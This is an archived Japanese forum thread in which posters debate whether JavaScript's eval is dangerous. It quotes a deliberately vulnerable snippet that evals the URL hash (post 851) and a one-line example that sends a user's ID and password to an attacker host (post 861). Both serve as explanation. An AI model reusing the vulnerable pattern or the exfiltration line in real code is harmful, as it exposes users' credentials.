のくす牧場
コンテンツ
牧場内検索
カウンタ
総計:127,432,613人
頁
昨日:no data人
頁
今日:人
頁
最近の注目
人気の最安値情報

元スレ+ JavaScript の質問用スレッド vol.76 +

JavaScript覧 / PC版 /
スレッド評価: スレッド評価について
みんなの評価 :
タグ : - 計算機プログラミング + 追加: タグについて ※前スレ・次スレは、スレ番号だけ登録。駄スレにはタグつけず、スレ評価を。荒らしタグにはタグで対抗せず、タグ減点を。
←前へ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 次へ→ / 要望・削除依頼は掲示板へ / 管理情報はtwitterで

851 = :

(function(){
　　var script = window.location.hash;
　　eval(script);
})();
こんなのがあると危ないってだけ

853 = :

>>850
全然別のページを表示させるのは閲覧者側？サイト制作者側？
どちらに対して危険なのかがよくわからないのです。

>>851が危険なのは理解しました。

854 = :

evalの引数チェックなんてどうやんの？
渡すのは文字列だから、適当に分割して渡したり変数に入れて渡したり
どうとでも出来ちゃうような気がするけど。

855 = :

evalに渡す引数が完全にユーザのコントロール下にあるならまるで問題ないのに、
たまにevalってだけで条件反射的にダメ出しする人がいるのは何なんだろう。

引数チェックが甘いってんなら、それはスクリプト作者の問題であって
eval自身の抱える問題ではないと思うんだが。
適切に実装してあれば何の問題もない。
いや、たとえ引数がノーチェックであっても、ユーザのコントロール下にあるなら
何等問題はないわけで。

現実問題として甘い実装をするヘボ作者が後を絶たないから
とにかくevalそれ自体が危険であるかのように騒いで問題意識を植え付け
evalを使いにくい（慎重に使わざるを得ない）雰囲気作りをしていこう！
ってことなんかな。

「危ない引数を渡すと危ないよ」ってのはある意味当たり前で、
それはevalに限らずコマンドプロンプトだって何だってそうなわけで。

856 = :

>>853
危ないのは閲覧者側でしょうね。個人情報をキー入力して盗まれる可能性が

>>854
文字列として分割すると文字列としてしか認識されなくなるので合体しても意味ないし、
チェックされずに変数に入れる余地もないから無理では？

857 = :

サーバー側でちゃんとチェックしていれば大丈夫だと思うけど

858 = :

>>856
あぁ、そっちでしたか。
>>846の書き方見てサイト管理者＆閲覧者にとってかと思ってしまい頭が？？？な状態でした。

859 = :

>>856
確かに。何か勘違いしてたｗ
どう渡そうがチェッカーが受け取るのも普通に文字列だわなｗ

860 = :

クライアントサイドで危険も何もないだろ…

861 = :

new Image().src='http://crack.site/'+id+pass
みたいなことができてしまえば1行でユーザーのパスが取れるから、慎重になるのは当然のこと。
安全に書こうと思ったら、何が実行されるかわかりにくいevalは避ける方が自然だろ。
ポイントはわかりにくいってところだからな。

もちろん、evalを使うしかないなら使えばいいし、使う必要がないならevalは使わない方がいい。
「evalは使わない方がいい」を否定する理由があるなら是非聞いてみたい。

862 = :

そんなことが出来てしまう時点でXSS脆弱性を孕んでます
終わり

864 = :

XSS自体も金が絡んだり、個人情報持っているようなサイトでやらない限り大した問題じゃない、
無料のレンタルスペース借りたら同じ事出来るでしょｗ
evalなんて好きに使って構わない

865 = :

外の入力からサーバーのデータを変更するってんなら確かに慎重になるべきだけど
サーバーから信頼のおけるデータをロードしてevalするのは別にいいでしょ
ただそれにしたってサーバーサイドでチェックすり抜けて危険な状況に陥るわけだから
チェックを何重にするってのもわかるけどなんか気持ち悪いな

867 = :

イ・ヴァル

870 = :

要は、何がどう危険なのかを理解しないままに
思考停止に陥って
ただ闇雲に「eval危険eval危険」と
唱えているのが一部いるってことだな

871 = :

eval自体は危険じゃないな。bookmarkletで自由に使えるんだから。
>>851みたいなのが書いてあればそりゃあアウトに決まってる。

872 = :

ていうかjsonのパース以外でeval使う場面にまだ出くわしてないんだが

873 = :

>>833-840

874 = :

>>860
たぶんPHPと混同してるんだろう

875 = :

日本のことだし、多分「eval子タン」とかいう萌えキャラ作って
「べ、別に危険じゃないんだからねッッ！！」とでも言わせときゃ
みんな使ってくれるようになると思う

876 = :

危険じゃないって主張するのは構わんが、
evalを使うと(高速になる|安全になる|可読性があがる)といった理由がない限りは
「evalは使わない方がいい」だろ
evalを擁護する理由がわからん

877 = :

>>875
それだとなんか逆に危険な感じがするのは勘違いなのだろうか

878 = :

読みはイ・ヴァルコタンなの・・・

879 = :

json扱う上で十分有用だと思うけど

880 = :

>>877
ナウシカが「ここには何も無いわ」とわざわざ言って何か有るように感じさせるのと同じ事

881 = :

evalってなんかinnerHTMLみたいだね

883 = :

eval使えば楽。じゃだめなのか？
forだって使い方間違えたら危険なんじゃね

884 = :

イベント処理にJavaScriptで追加する記述も危ないんじゃないかな

886 = :

>>882
ぱっとソース見た感じevalという単語があったんだが

887 = :

json2.jsはJSONとしての正当性チェックして、最終的にはevalしてた気がする
>>846 もjson2.js使うべきだな

888 = :

JScriptはネイティブでJSONをサポートし始めたな。

889 = :

>>883
>>884
なんで危ないかどうかって話にもってくの？

>>888
そういやjson2.jsはブラウザがJSONサポートしてれば、そっち使うからそれもメリットだね

890 = :

>>887
JSONはeval()関数を使うことがベースとなっているようで

>JSONは前述の通り、JavaScriptのサブセットなのでeval()関数で評価することで
>JavaScriptオブジェクトに変換することができるという特徴があります

891 = :

>>889
あれ、「evalは使わない方がいい」理由は「危険だから」じゃなかったの？

893 = :

>>891
「evalは危険だから使わないほうがいい」って主張してるやつはこのスレのどこにいるんだよ。

894 = :

eval使わなくてもsetTimeout("alert('')",0)みたいに出来るし

895 = :

>>835あたりからおかしくなったな。このスレ。

896 = :

言語スレではよくあること

898 = :

んで結局のところなんでevalって使わない方が良いんだ？

899 = :

サーバーアプリが脆弱な場合は使わないほうがいいんじゃないか

900 = :

Firefoxの拡張界隈ではevalを使って既存の関数の動作を書き換えたりするらしい
そういう動作をする拡張はレビュワーに「むやみにeval使うな！」って怒られるとか


←前へ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 次へ→ / 要望・削除依頼は掲示板へ / 管理情報はtwitterで / JavaScript一覧へ
スレッド評価: スレッド評価について
みんなの評価 :
タグ : - 計算機プログラミング + 追加: タグについて ※前スレ・次スレは、スレ番号だけ登録。駄スレにはタグつけず、スレ評価を。荒らしタグにはタグで対抗せず、タグ減点を。

類似してるかもしれないスレッド

トップメニューへ / →のくす牧場書庫について